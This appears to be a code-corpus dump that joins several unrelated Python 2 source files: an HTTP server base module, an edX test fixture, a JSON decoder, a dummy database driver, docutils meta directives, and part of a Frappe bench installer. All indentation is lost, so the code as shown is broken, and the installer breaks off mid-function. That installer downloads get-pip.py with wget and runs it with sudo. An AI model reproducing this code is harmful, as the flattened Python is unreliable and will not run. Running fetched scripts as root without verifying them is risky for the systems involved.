# Request for Comments: 2616 et al
# Obsoletes: 2068 June 1999
# Category: Standards Track
#
# URL: http://www.faqs.org/rfcs/rfc2616.html
# Log files
# ---------
#
# Here's a quote from the NCSA httpd docs about log file format.
#
# | The logfile format is as follows. Each line consists of:
# |
# | host rfc931 authuser [DD/Mon/YYYY:hh:mm:ss] "request" ddd bbbb
# |
# | host: Either the DNS name or the IP number of the remote client
# | rfc931: Any information returned by identd for this person,
# | - otherwise.
# | authuser: If user sent a userid for authentication, the user name,
# | - otherwise.
# | DD: Day
# | Mon: Month (calendar name)
# | YYYY: Year
# | hh: hour (24-hour format, the machine's timezone)
# | mm: minutes
# | ss: seconds
# | request: The first line of the HTTP request as sent by the client.
# | ddd: the status code returned by the server, - if not available.
# | bbbb: the total number of bytes sent,
# | *not including the HTTP/1.0 header*, - if not available
# |
# | You can determine the name of the file accessed through request.
#
# (Actually, the latter is only true if you know the server configuration
# at the time the request was made!)
__version__ = "0.3"
__all__ = ["HTTPServer", "BaseHTTPRequestHandler"]
import sys
import time
import socket # For gethostbyaddr()
from warnings import filterwarnings, catch_warnings
with catch_warnings():
if sys.py3kwarning:
filterwarnings("ignore", ".*mimetools has been removed",
DeprecationWarning)
import mimetools
import SocketServer
# Default error message template
DEFAULT_ERROR_MESSAGE = """\
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code %(code)d.
<p>Message: %(message)s.
<p>Error code explanation: %(code)s = %(explain)s.
</body>
"""
DEFAULT_ERROR_CONTENT_TYPE = "text/html"
def _quote_html(html):
return html.replace("&", "&").replace("<", "<").replace(">", ">")
class HTTPServer(SocketServer.TCPServer):
allow_reuse_address = 1 # Seems to make sense in testing environment
def server_bind(self):
"""Override server_bind to store the server name."""
SocketServer.TCPServer.server_bind(self)
host, port = self.socket.getsockname()[:2]
self.server_name = socket.getfqdn(host)
self.server_port = port
class BaseHTTPRequestHandler(SocketServer.StreamRequestHandler):
"""HTTP request handler base class.
The following explanation of HTTP serves to guide you through the
code as well as to expose any misunderstandings I may have about
HTTP (so you don't need to read the code to figure out I'm wrong
:-).
HTTP (HyperText Transfer Protocol) is an extensible protocol on
top of a reliable stream transport (e.g. TCP/IP). The protocol
recognizes three parts to a request:
1. One line identifying the request type and path
2. An optional set of RFC-822-style headers
3. An optional data part
The headers and data are separated by a blank line.
The first line of the request has the form
<command> <path> <version>
where <command> is a (case-sensitive) keyword such as GET or POST,
<path> is a string containing path information for the request,
and <version> should be the string "HTTP/1.0" or "HTTP/1.1".
<path> is encoded using the URL encoding scheme (using %xx to signify
the ASCII character with hex code xx).
The specification specifies that lines are separated by CRLF but
for compatibility with the widest range of clients recommends
servers also handle LF. Similarly, whitespace in the request line
is treated sensibly (allowing multiple spaces between components
and allowing trailing whitespace).
Similarly, for output, lines ought to be separated by CRLF pairs
but most clients grok LF characters just fine.
If the first line of the request has the form
<command> <path>
(i.e. <version> is left out) then this is assumed to be an HTTP
0.9 request; this form has no optional headers and data part and
the reply consists of just the data.
The reply form of the HTTP 1.x protocol again has three parts:
1. One line giving the response code
2. An optional set of RFC-822-style headers
3. The data
Again, the headers and data are separated by a blank line.
The response code line has the form
<version> <responsecode> <responsestring>
where <version> is the protocol version ("HTTP/1.0" or "HTTP/1.1"),
<responsecode> is a 3-digit response code indicating success or
failure of the request, and <responsestring> is an optional
human-readable string explaining what the response code means.
This server parses the request and the headers, and then calls a
function specific to the request type (<command>). Specifically,
a request SPAM will be handled by a method do_SPAM(). If no
such method exists the server sends an error response to the
client. If it exists, it is called with no arguments:
do_SPAM()
Note that the request name is case sensitive (i.e. SPAM and spam
are different requests).
The various request details are stored in instance variables:
- client_address is the client IP address in the form (host,
port);
- command, path and version are the broken-down request line;
- headers is an instance of mimetools.Message (or a derived
class) containing the header information;
- rfile is a file object open for reading positioned at the
start of the optional input data part;
- wfile is a file object open for writing.
IT IS IMPORTANT TO ADHERE TO THE PROTOCOL FOR WRITING!
The first thing to be written must be the response line. Then
follow 0 or more header lines, then a blank line, and then the
actual data (if any). The meaning of the header lines depends on
the command executed by the server; in most cases, when data is
returned, there should be at least one header line of the form
Content-type: <type>/<subtype>
where <type> and <subtype> should be registered MIME types,
e.g. "text/html" or "text/plain".
"""
# The Python system version, truncated to its first component.
sys_version = "Python/" + sys.version.split()[0]
# The server software version. You may want to override this.
# The format is multiple whitespace-separated strings,
# where each string is of the form name[/version].
server_version = "BaseHTTP/" + __version__
# The default request version. This only affects responses up until
# the point where the request line is parsed, so it mainly decides what
# the client gets back when sending a malformed request line.
# Most web servers default to HTTP 0.9, i.e. don't send a status line.
default_request_version = "HTTP/0.9"
def parse_request(self):
"""Parse a request (internal).
The request should be stored in self.raw_requestline; the results
are in self.command, self.path, self.request_version and
self.headers.
Return True for success, False for failure; on failure, an
error is sent back.
"""
self.command = None # set in case of error on the first line
self.request_version = version = self.default_request_version
self.close_connection = 1
requestline = self.raw_requestline
requestline = requestline.rstrip('\r\n')
self.requestline = requestline
words = requestline.split()
if len(words) == 3:
command, path, version = words
if version[:5] != 'HTTP/':
self.send_error(400, "Bad request version (%r)" % version)
return False
try:
base_version_number = version.split('/', 1)[1]
version_number = base_version_number.split(".")
# RFC 2145 section 3.1 says there can be only one "." and
# - major and minor numbers MUST be treated as
# separate integers;
# - HTTP/2.4 is a lower version than HTTP/2.13, which in
# turn is lower than HTTP/12.3;
# - Leading zeros MUST be ignored by recipients.
if len(version_number) != 2:
raise ValueError
version_number = int(version_number[0]), int(version_number[1])
except (ValueError, IndexError):
self.send_error(400, "Bad request version (%r)" % version)
return False
if version_number >= (1, 1) and self.protocol_version >= "HTTP/1.1":
self.close_connection = 0
if version_number >= (2, 0):
self.send_error(505,
"Invalid HTTP Version (%s)" % base_version_number)
return False
elif len(words) == 2:
command, path = words
self.close_connection = 1
if command != 'GET':
self.send_error(400,
"Bad HTTP/0.9 request type (%r)" % command)
return False
elif not words:
return False
else:
self.send_error(400, "Bad request syntax (%r)" % requestline)
return False
self.command, self.path, self.request_version = command, path, version
# Examine the headers and look for a Connection directive
self.headers = self.MessageClass(self.rfile, 0)
conntype = self.headers.get('Connection', "")
if conntype.lower() == 'close':
self.close_connection = 1
elif (conntype.lower() == 'keep-alive' and
self.protocol_version >= "HTTP/1.1"):
self.close_connection = 0
return True
def handle_one_request(self):
"""Handle a single HTTP request.
You normally don't need to override this method; see the class
__doc__ string for information on how to handle specific HTTP
commands such as GET and POST.
"""
try:
self.raw_requestline = self.rfile.readline(65537)
if len(self.raw_requestline) > 65536:
self.requestline = ''
self.request_version = ''
self.command = ''
self.send_error(414)
return
if not self.raw_requestline:
self.close_connection = 1
return
if not self.parse_request():
# An error code has been sent, just exit
return
mname = 'do_' + self.command
if not hasattr(self, mname):
self.send_error(501, "Unsupported method (%r)" % self.command)
return
method = getattr(self, mname)
method()
self.wfile.flush() #actually send the response if not already done.
except socket.timeout, e:
#a read or a write timed out. Discard this connection
self.log_error("Request timed out: %r", e)
self.close_connection = 1
return
def handle(self):
"""Handle multiple requests if necessary."""
self.close_connection = 1
self.handle_one_request()
while not self.close_connection:
self.handle_one_request()
def send_error(self, code, message=None):
"""Send and log an error reply.
Arguments are the error code, and a detailed message.
The detailed message defaults to the short entry matching the
response code.
This sends an error response (so it must be called before any
output has been generated), logs the error, and finally sends
a piece of HTML explaining the error to the user.
"""
try:
short, long = self.responses[code]
except KeyError:
short, long = '???', '???'
if message is None:
message = short
explain = long
self.log_error("code %d, message %s", code, message)
self.send_response(code, message)
self.send_header('Connection', 'close')
# Message body is omitted for cases described in:
# - RFC7230: 3.3. 1xx, 204(No Content), 304(Not Modified)
# - RFC7231: 6.3.6. 205(Reset Content)
content = None
if code >= 200 and code not in (204, 205, 304):
# HTML encode to prevent Cross Site Scripting attacks
# (see bug #1100201)
content = (self.error_message_format % {
'code': code,
'message': _quote_html(message),
'explain': explain
})
self.send_header("Content-Type", self.error_content_type)
self.end_headers()
if self.command != 'HEAD' and content:
self.wfile.write(content)
error_message_format = DEFAULT_ERROR_MESSAGE
error_content_type = DEFAULT_ERROR_CONTENT_TYPE
def send_response(self, code, message=None):
"""Send the response header and log the response code.
Also send two standard headers with the server software
version and the current date.
"""
self.log_request(code)
if message is None:
if code in self.responses:
message = self.responses[code][0]
else:
message = ''
if self.request_version != 'HTTP/0.9':
self.wfile.write("%s %d %s\r\n" %
(self.protocol_version, code, message))
# print (self.protocol_version, code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())
def send_header(self, keyword, value):
"""Send a MIME header."""
if self.request_version != 'HTTP/0.9':
self.wfile.write("%s: %s\r\n" % (keyword, value))
if keyword.lower() == 'connection':
if value.lower() == 'close':
self.close_connection = 1
elif value.lower() == 'keep-alive':
self.close_connection = 0
def end_headers(self):
"""Send the blank line ending the MIME headers."""
if self.request_version != 'HTTP/0.9':
self.wfile.write("\r\n")
def log_request(self, code='-', size='-'):
"""Log an accepted request.
This is called by send_response().
"""
self.log_message('"%s" %s %s',
self.requestline, str(code), str(size))
def log_error(self, format, *args):
"""Log an error.
This is called when a request cannot be fulfilled. By
default it passes the message on to log_message().
Arguments are the same as for log_message().
XXX This should go to the separate error log.
"""
self.log_message(format, *args)
def log_message(self, format, *args):
"""Log an arbitrary message.
This is used by all other logging functions. Override
it if you have specific logging wishes.
The first argument, FORMAT, is a format string for the
message to be logged. If the format string contains
any % escapes requiring parameters, they should be
specified as subsequent arguments (it's just like
printf!).
The client ip address and current date/time are prefixed to every
message.
"""
sys.stderr.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format%args))
def version_string(self):
"""Return the server software version string."""
return self.server_version + ' ' + self.sys_version
def date_time_string(self, timestamp=None):
"""Return the current date and time formatted for a message header."""
if timestamp is None:
timestamp = time.time()
year, month, day, hh, mm, ss, wd, y, z = time.gmtime(timestamp)
s = "%s, %02d %3s %4d %02d:%02d:%02d GMT" % (
self.weekdayname[wd],
day, self.monthname[month], year,
hh, mm, ss)
return s
def log_date_time_string(self):
"""Return the current time formatted for logging."""
now = time.time()
year, month, day, hh, mm, ss, x, y, z = time.localtime(now)
s = "%02d/%3s/%04d %02d:%02d:%02d" % (
day, self.monthname[month], year, hh, mm, ss)
return s
weekdayname = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']
monthname = [None,
'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
def address_string(self):
"""Return the client address formatted for logging.
This version looks up the full hostname using gethostbyaddr(),
and tries to find a name that contains at least one dot.
"""
host, port = self.client_address[:2]
return socket.getfqdn(host)
# Essentially static class variables
# The version of the HTTP protocol we support.
# Set this to HTTP/1.1 to enable automatic keepalive
protocol_version = "HTTP/1.0"
# The Message-like class used to parse headers
MessageClass = mimetools.Message
# Table mapping response codes to messages; entries have the
# form {code: (shortmessage, longmessage)}.
# See RFC 2616.
responses = {
100: ('Continue', 'Request received, please continue'),
101: ('Switching Protocols',
'Switching to new protocol; obey Upgrade header'),
200: ('OK', 'Request fulfilled, document follows'),
201: ('Created', 'Document created, URL follows'),
202: ('Accepted',
'Request accepted, processing continues off-line'),
203: ('Non-Authoritative Information', 'Request fulfilled from cache'),
204: ('No Content', 'Request fulfilled, nothing follows'),
205: ('Reset Content', 'Clear input form for further input.'),
206: ('Partial Content', 'Partial content follows.'),
300: ('Multiple Choices',
'Object has several resources -- see URI list'),
301: ('Moved Permanently', 'Object moved permanently -- see URI list'),
302: ('Found', 'Object moved temporarily -- see URI list'),
303: ('See Other', 'Object moved -- see Method and URL list'),
304: ('Not Modified',
'Document has not changed since given time'),
305: ('Use Proxy',
'You must use proxy specified in Location to access this '
'resource.'),
307: ('Temporary Redirect',
'Object moved temporarily -- see URI list'),
400: ('Bad Request',
'Bad request syntax or unsupported method'),
401: ('Unauthorized',
'No permission -- see authorization schemes'),
402: ('Payment Required',
'No payment -- see charging schemes'),
403: ('Forbidden',
'Request forbidden -- authorization will not help'),
404: ('Not Found', 'Nothing matches the given URI'),
405: ('Method Not Allowed',
'Specified method is invalid for this resource.'),
406: ('Not Acceptable', 'URI not available in preferred format.'),
407: ('Proxy Authentication Required', 'You must authenticate with '
'this proxy before proceeding.'),
408: ('Request Timeout', 'Request timed out; try again later.'),
409: ('Conflict', 'Request conflict.'),
410: ('Gone',
'URI no longer exists and has been permanently removed.'),
411: ('Length Required', 'Client must specify Content-Length.'),
412: ('Precondition Failed', 'Precondition in headers is false.'),
413: ('Request Entity Too Large', 'Entity is too large.'),
414: ('Request-URI Too Long', 'URI is too long.'),
415: ('Unsupported Media Type', 'Entity body in unsupported format.'),
416: ('Requested Range Not Satisfiable',
'Cannot satisfy request range.'),
417: ('Expectation Failed',
'Expect condition could not be satisfied.'),
500: ('Internal Server Error', 'Server got itself in trouble'),
501: ('Not Implemented',
'Server does not support this operation'),
502: ('Bad Gateway', 'Invalid responses from another server/proxy.'),
503: ('Service Unavailable',
'The server cannot process the request due to a high load'),
504: ('Gateway Timeout',
'The gateway server did not receive a timely response'),
505: ('HTTP Version Not Supported', 'Cannot fulfill request.'),
}
def test(HandlerClass = BaseHTTPRequestHandler,
ServerClass = HTTPServer, protocol="HTTP/1.0"):
"""Test the HTTP request handler class.
This runs an HTTP server on port 8000 (or the first command line
argument).
"""
if sys.argv[1:]:
port = int(sys.argv[1])
else:
port = 8000
server_address = ('', port)
HandlerClass.protocol_version = protocol
httpd = ServerClass(server_address, HandlerClass)
sa = httpd.socket.getsockname()
print "Serving HTTP on", sa[0], "port", sa[1], "..."
httpd.serve_forever()
if __name__ == '__main__':
test()
| agpl-3.0 |
ak2703/edx-platform | common/test/acceptance/fixtures/certificates.py | 80 | 1221 | """
Tools for creating certificates config fixture data.
"""
import json
from . import STUDIO_BASE_URL
from .base import StudioApiFixture
class CertificateConfigFixtureError(Exception):
"""
Error occurred while installing certificate config fixture.
"""
pass
class CertificateConfigFixture(StudioApiFixture):
"""
Fixture to create certificates configuration for a course
"""
certificates = []
def __init__(self, course_id, certificates_data):
self.course_id = course_id
self.certificates = certificates_data
super(CertificateConfigFixture, self).__init__()
def install(self):
"""
Push the certificates config data to certificate endpoint.
"""
response = self.session.post(
'{}/certificates/{}'.format(STUDIO_BASE_URL, self.course_id),
data=json.dumps(self.certificates),
headers=self.headers
)
if not response.ok:
raise CertificateConfigFixtureError(
"Could not create certificate {0}. Status was {1}".format(
json.dumps(self.certificates), response.status_code
)
)
return self
| agpl-3.0 |
UrusTeam/android_ndk_toolchain_cross | lib/python2.7/json/decoder.py | 51 | 13882 | """Implementation of JSONDecoder
"""
import re
import sys
import struct
from json import scanner
try:
from _json import scanstring as c_scanstring
except ImportError:
c_scanstring = None
__all__ = ['JSONDecoder']
FLAGS = re.VERBOSE | re.MULTILINE | re.DOTALL
def _floatconstants():
_BYTES = '7FF80000000000007FF0000000000000'.decode('hex')
if sys.byteorder != 'big':
_BYTES = _BYTES[:8][::-1] + _BYTES[8:][::-1]
nan, inf = struct.unpack('dd', _BYTES)
return nan, inf, -inf
NaN, PosInf, NegInf = _floatconstants()
def linecol(doc, pos):
lineno = doc.count('\n', 0, pos) + 1
if lineno == 1:
colno = pos + 1
else:
colno = pos - doc.rindex('\n', 0, pos)
return lineno, colno
def errmsg(msg, doc, pos, end=None):
# Note that this function is called from _json
lineno, colno = linecol(doc, pos)
if end is None:
fmt = '{0}: line {1} column {2} (char {3})'
return fmt.format(msg, lineno, colno, pos)
#fmt = '%s: line %d column %d (char %d)'
#return fmt % (msg, lineno, colno, pos)
endlineno, endcolno = linecol(doc, end)
fmt = '{0}: line {1} column {2} - line {3} column {4} (char {5} - {6})'
return fmt.format(msg, lineno, colno, endlineno, endcolno, pos, end)
#fmt = '%s: line %d column %d - line %d column %d (char %d - %d)'
#return fmt % (msg, lineno, colno, endlineno, endcolno, pos, end)
_CONSTANTS = {
'-Infinity': NegInf,
'Infinity': PosInf,
'NaN': NaN,
}
STRINGCHUNK = re.compile(r'(.*?)(["\\\x00-\x1f])', FLAGS)
BACKSLASH = {
'"': u'"', '\\': u'\\', '/': u'/',
'b': u'\b', 'f': u'\f', 'n': u'\n', 'r': u'\r', 't': u'\t',
}
DEFAULT_ENCODING = "utf-8"
def py_scanstring(s, end, encoding=None, strict=True,
_b=BACKSLASH, _m=STRINGCHUNK.match):
"""Scan the string s for a JSON string. End is the index of the
character in s after the quote that started the JSON string.
Unescapes all valid JSON string escape sequences and raises ValueError
on attempt to decode an invalid string. If strict is False then literal
control characters are allowed in the string.
Returns a tuple of the decoded string and the index of the character in s
after the end quote."""
if encoding is None:
encoding = DEFAULT_ENCODING
chunks = []
_append = chunks.append
begin = end - 1
while 1:
chunk = _m(s, end)
if chunk is None:
raise ValueError(
errmsg("Unterminated string starting at", s, begin))
end = chunk.end()
content, terminator = chunk.groups()
# Content is contains zero or more unescaped string characters
if content:
if not isinstance(content, unicode):
content = unicode(content, encoding)
_append(content)
# Terminator is the end of string, a literal control character,
# or a backslash denoting that an escape sequence follows
if terminator == '"':
break
elif terminator != '\\':
if strict:
#msg = "Invalid control character %r at" % (terminator,)
msg = "Invalid control character {0!r} at".format(terminator)
raise ValueError(errmsg(msg, s, end))
else:
_append(terminator)
continue
try:
esc = s[end]
except IndexError:
raise ValueError(
errmsg("Unterminated string starting at", s, begin))
# If not a unicode escape sequence, must be in the lookup table
if esc != 'u':
try:
char = _b[esc]
except KeyError:
msg = "Invalid \\escape: " + repr(esc)
raise ValueError(errmsg(msg, s, end))
end += 1
else:
# Unicode escape sequence
esc = s[end + 1:end + 5]
next_end = end + 5
if len(esc) != 4:
msg = "Invalid \\uXXXX escape"
raise ValueError(errmsg(msg, s, end))
uni = int(esc, 16)
# Check for surrogate pair on UCS-4 systems
if 0xd800 <= uni <= 0xdbff and sys.maxunicode > 65535:
msg = "Invalid \\uXXXX\\uXXXX surrogate pair"
if not s[end + 5:end + 7] == '\\u':
raise ValueError(errmsg(msg, s, end))
esc2 = s[end + 7:end + 11]
if len(esc2) != 4:
raise ValueError(errmsg(msg, s, end))
uni2 = int(esc2, 16)
uni = 0x10000 + (((uni - 0xd800) << 10) | (uni2 - 0xdc00))
next_end += 6
char = unichr(uni)
end = next_end
# Append the unescaped character
_append(char)
return u''.join(chunks), end
# Use speedup if available
scanstring = c_scanstring or py_scanstring
WHITESPACE = re.compile(r'[ \t\n\r]*', FLAGS)
WHITESPACE_STR = ' \t\n\r'
def JSONObject(s_and_end, encoding, strict, scan_once, object_hook,
object_pairs_hook, _w=WHITESPACE.match, _ws=WHITESPACE_STR):
s, end = s_and_end
pairs = []
pairs_append = pairs.append
# Use a slice to prevent IndexError from being raised, the following
# check will raise a more specific ValueError if the string is empty
nextchar = s[end:end + 1]
# Normally we expect nextchar == '"'
if nextchar != '"':
if nextchar in _ws:
end = _w(s, end).end()
nextchar = s[end:end + 1]
# Trivial empty object
if nextchar == '}':
if object_pairs_hook is not None:
result = object_pairs_hook(pairs)
return result, end + 1
pairs = {}
if object_hook is not None:
pairs = object_hook(pairs)
return pairs, end + 1
elif nextchar != '"':
raise ValueError(errmsg(
"Expecting property name enclosed in double quotes", s, end))
end += 1
while True:
key, end = scanstring(s, end, encoding, strict)
# To skip some function call overhead we optimize the fast paths where
# the JSON key separator is ": " or just ":".
if s[end:end + 1] != ':':
end = _w(s, end).end()
if s[end:end + 1] != ':':
raise ValueError(errmsg("Expecting ':' delimiter", s, end))
end += 1
try:
if s[end] in _ws:
end += 1
if s[end] in _ws:
end = _w(s, end + 1).end()
except IndexError:
pass
try:
value, end = scan_once(s, end)
except StopIteration:
raise ValueError(errmsg("Expecting object", s, end))
pairs_append((key, value))
try:
nextchar = s[end]
if nextchar in _ws:
end = _w(s, end + 1).end()
nextchar = s[end]
except IndexError:
nextchar = ''
end += 1
if nextchar == '}':
break
elif nextchar != ',':
raise ValueError(errmsg("Expecting ',' delimiter", s, end - 1))
try:
nextchar = s[end]
if nextchar in _ws:
end += 1
nextchar = s[end]
if nextchar in _ws:
end = _w(s, end + 1).end()
nextchar = s[end]
except IndexError:
nextchar = ''
end += 1
if nextchar != '"':
raise ValueError(errmsg(
"Expecting property name enclosed in double quotes", s, end - 1))
if object_pairs_hook is not None:
result = object_pairs_hook(pairs)
return result, end
pairs = dict(pairs)
if object_hook is not None:
pairs = object_hook(pairs)
return pairs, end
def JSONArray(s_and_end, scan_once, _w=WHITESPACE.match, _ws=WHITESPACE_STR):
s, end = s_and_end
values = []
nextchar = s[end:end + 1]
if nextchar in _ws:
end = _w(s, end + 1).end()
nextchar = s[end:end + 1]
# Look-ahead for trivial empty array
if nextchar == ']':
return values, end + 1
_append = values.append
while True:
try:
value, end = scan_once(s, end)
except StopIteration:
raise ValueError(errmsg("Expecting object", s, end))
_append(value)
nextchar = s[end:end + 1]
if nextchar in _ws:
end = _w(s, end + 1).end()
nextchar = s[end:end + 1]
end += 1
if nextchar == ']':
break
elif nextchar != ',':
raise ValueError(errmsg("Expecting ',' delimiter", s, end))
try:
if s[end] in _ws:
end += 1
if s[end] in _ws:
end = _w(s, end + 1).end()
except IndexError:
pass
return values, end
class JSONDecoder(object):
"""Simple JSON <http://json.org> decoder
Performs the following translations in decoding by default:
+---------------+-------------------+
| JSON | Python |
+===============+===================+
| object | dict |
+---------------+-------------------+
| array | list |
+---------------+-------------------+
| string | unicode |
+---------------+-------------------+
| number (int) | int, long |
+---------------+-------------------+
| number (real) | float |
+---------------+-------------------+
| true | True |
+---------------+-------------------+
| false | False |
+---------------+-------------------+
| null | None |
+---------------+-------------------+
It also understands ``NaN``, ``Infinity``, and ``-Infinity`` as
their corresponding ``float`` values, which is outside the JSON spec.
"""
def __init__(self, encoding=None, object_hook=None, parse_float=None,
parse_int=None, parse_constant=None, strict=True,
object_pairs_hook=None):
"""``encoding`` determines the encoding used to interpret any ``str``
objects decoded by this instance (utf-8 by default). It has no
effect when decoding ``unicode`` objects.
Note that currently only encodings that are a superset of ASCII work,
strings of other encodings should be passed in as ``unicode``.
``object_hook``, if specified, will be called with the result
of every JSON object decoded and its return value will be used in
place of the given ``dict``. This can be used to provide custom
deserializations (e.g. to support JSON-RPC class hinting).
``object_pairs_hook``, if specified will be called with the result of
every JSON object decoded with an ordered list of pairs. The return
value of ``object_pairs_hook`` will be used instead of the ``dict``.
This feature can be used to implement custom decoders that rely on the
order that the key and value pairs are decoded (for example,
collections.OrderedDict will remember the order of insertion). If
``object_hook`` is also defined, the ``object_pairs_hook`` takes
priority.
``parse_float``, if specified, will be called with the string
of every JSON float to be decoded. By default this is equivalent to
float(num_str). This can be used to use another datatype or parser
for JSON floats (e.g. decimal.Decimal).
``parse_int``, if specified, will be called with the string
of every JSON int to be decoded. By default this is equivalent to
int(num_str). This can be used to use another datatype or parser
for JSON integers (e.g. float).
``parse_constant``, if specified, will be called with one of the
following strings: -Infinity, Infinity, NaN.
This can be used to raise an exception if invalid JSON numbers
are encountered.
If ``strict`` is false (true is the default), then control
characters will be allowed inside strings. Control characters in
this context are those with character codes in the 0-31 range,
including ``'\\t'`` (tab), ``'\\n'``, ``'\\r'`` and ``'\\0'``.
"""
self.encoding = encoding
self.object_hook = object_hook
self.object_pairs_hook = object_pairs_hook
self.parse_float = parse_float or float
self.parse_int = parse_int or int
self.parse_constant = parse_constant or _CONSTANTS.__getitem__
self.strict = strict
self.parse_object = JSONObject
self.parse_array = JSONArray
self.parse_string = scanstring
self.scan_once = scanner.make_scanner(self)
def decode(self, s, _w=WHITESPACE.match):
"""Return the Python representation of ``s`` (a ``str`` or ``unicode``
instance containing a JSON document)
"""
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
end = _w(s, end).end()
if end != len(s):
raise ValueError(errmsg("Extra data", s, end, len(s)))
return obj
def raw_decode(self, s, idx=0):
"""Decode a JSON document from ``s`` (a ``str`` or ``unicode``
beginning with a JSON document) and return a 2-tuple of the Python
representation and the index in ``s`` where the document ended.
This can be used to decode a JSON document from a string that may
have extraneous data at the end.
"""
try:
obj, end = self.scan_once(s, idx)
except StopIteration:
raise ValueError("No JSON object could be decoded")
return obj, end
| gpl-2.0 |
GdZ/scriptfile | software/googleAppEngine/lib/grizzled/grizzled/db/dummydb.py | 19 | 1861 | # $Id: 5e4fe45ea4436e0dc7d3743bff9679e052071746 $
# ---------------------------------------------------------------------------
"""
A dummy database driver, useful for testing.
"""
__docformat__ = "restructuredtext en"
# ---------------------------------------------------------------------------
# Imports
# ---------------------------------------------------------------------------
from grizzled.db.base import DBDriver
# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
BINARY = 0
NUMBER = 1
STRING = 2
DATETIME = 3
ROWID = 4
# ---------------------------------------------------------------------------
# Classes
# ---------------------------------------------------------------------------
class DummyCursor(object):
def close(self):
pass
def execute(self, statement, parameters=None):
self.rowcount = 0
self.description = ""
return None
def fetchone(self):
raise ValueError, "No results"
def fetchall(self):
raise ValueError, "No results"
def fetchmany(self, n):
raise ValueError, "No results"
class DummyDB(object):
def __init__(self):
pass
def cursor(self):
return DummyCursor()
def commit(self):
pass
def rollback(self):
pass
def close(self):
pass
class DummyDriver(DBDriver):
"""Dummy database driver, for testing."""
def get_import(self):
import dummydb
return dummydb
def get_display_name(self):
return "Dummy"
def do_connect(self,
host="localhost",
port=None,
user='',
password='',
database='default'):
return dummydb.DummyDB()
| mit |
lordmuffin/aws-cfn-plex | functions/credstash/docutils/parsers/rst/directives/html.py | 128 | 3098 | # $Id: html.py 7320 2012-01-19 22:33:02Z milde $
# Author: David Goodger <goodger@python.org>
# Copyright: This module has been placed in the public domain.
"""
Directives for typically HTML-specific constructs.
"""
__docformat__ = 'reStructuredText'
import sys
from docutils import nodes, utils
from docutils.parsers.rst import Directive
from docutils.parsers.rst import states
from docutils.transforms import components
class MetaBody(states.SpecializedBody):
class meta(nodes.Special, nodes.PreBibliographic, nodes.Element):
"""HTML-specific "meta" element."""
pass
def field_marker(self, match, context, next_state):
"""Meta element."""
node, blank_finish = self.parsemeta(match)
self.parent += node
return [], next_state, []
def parsemeta(self, match):
name = self.parse_field_marker(match)
indented, indent, line_offset, blank_finish = \
self.state_machine.get_first_known_indented(match.end())
node = self.meta()
pending = nodes.pending(components.Filter,
{'component': 'writer',
'format': 'html',
'nodes': [node]})
node['content'] = ' '.join(indented)
if not indented:
line = self.state_machine.line
msg = self.reporter.info(
'No content for meta tag "%s".' % name,
nodes.literal_block(line, line))
return msg, blank_finish
tokens = name.split()
try:
attname, val = utils.extract_name_value(tokens[0])[0]
node[attname.lower()] = val
except utils.NameValueError:
node['name'] = tokens[0]
for token in tokens[1:]:
try:
attname, val = utils.extract_name_value(token)[0]
node[attname.lower()] = val
except utils.NameValueError, detail:
line = self.state_machine.line
msg = self.reporter.error(
'Error parsing meta tag attribute "%s": %s.'
% (token, detail), nodes.literal_block(line, line))
return msg, blank_finish
self.document.note_pending(pending)
return pending, blank_finish
class Meta(Directive):
has_content = True
SMkwargs = {'state_classes': (MetaBody,)}
def run(self):
self.assert_has_content()
node = nodes.Element()
new_line_offset, blank_finish = self.state.nested_list_parse(
self.content, self.content_offset, node,
initial_state='MetaBody', blank_finish=True,
state_machine_kwargs=self.SMkwargs)
if (new_line_offset - self.content_offset) != len(self.content):
# incomplete parse of block?
error = self.state_machine.reporter.error(
'Invalid meta directive.',
nodes.literal_block(self.block_text, self.block_text),
line=self.lineno)
node += error
return node.children
| mit |
bailabs/bench-v7 | install.py | 1 | 10678 | # wget setup_frappe.py | python
import os, sys, subprocess, getpass, json, multiprocessing, shutil, platform
from distutils.spawn import find_executable
tmp_bench_repo = '/tmp/bench-v7'
def install_bench(args):
check_distribution_compatibility()
check_brew_installed()
# pre-requisites for bench repo cloning
install_package('curl')
install_package('wget')
success = run_os_command({
'apt-get': [
'sudo apt-get update',
'sudo apt-get install -y git build-essential python-setuptools python-dev libffi-dev libssl-dev'
],
'yum': [
'sudo yum groupinstall -y "Development tools"',
'sudo yum install -y epel-release redhat-lsb-core git python-setuptools python-devel openssl-devel libffi-devel'
],
# epel-release is required to install redis, so installing it before the playbook-run.
# redhat-lsb-core is required, so that ansible can set ansible_lsb variable
})
if not find_executable("git"):
success = run_os_command({
'brew': 'brew install git'
})
if not success:
print 'Could not install pre-requisites. Please check for errors or install them manually.'
return
# secure pip installation
if find_executable('pip'):
run_os_command({
'yum': 'sudo pip install --upgrade setuptools pip',
'apt-get': 'sudo pip install --upgrade setuptools pip',
'brew': "sudo pip install --upgrade setuptools pip --user"
})
else:
if not os.path.exists("get-pip.py"):
run_os_command({
'apt-get': 'wget https://bootstrap.pypa.io/get-pip.py',
'yum': 'wget https://bootstrap.pypa.io/get-pip.py'
})
success = run_os_command({
'apt-get': 'sudo python get-pip.py',
'yum': 'sudo python get-pip.py',
})
if success:
run_os_command({
'pip': 'sudo pip install --upgrade pip setuptools',
})
# Restricting ansible version due to following bug in ansible 2.1
# https://github.com/ansible/ansible-modules-core/issues/3752
success = run_os_command({
'pip': "sudo pip install 'ansible==2.0.2.0'"
})
if not success:
could_not_install('Ansible')
# clone bench repo
if not args.run_travis:
clone_bench_repo(args)
if not args.user:
if args.production:
args.user = 'frappe'
elif os.environ.has_key('SUDO_USER'):
args.user = os.environ['SUDO_USER']
else:
args.user = getpass.getuser()
if args.user == 'root':
raise Exception('Please run this script as a non-root user with sudo privileges, but without using sudo or pass --user=USER')
# create user if not exists
extra_vars = vars(args)
extra_vars.update(frappe_user=args.user)
if os.path.exists(tmp_bench_repo):
repo_path = tmp_bench_repo
else:
repo_path = os.path.join(os.path.expanduser('~'), 'bench')
extra_vars.update(repo_path=repo_path)
run_playbook('develop/create_user.yml', extra_vars=extra_vars)
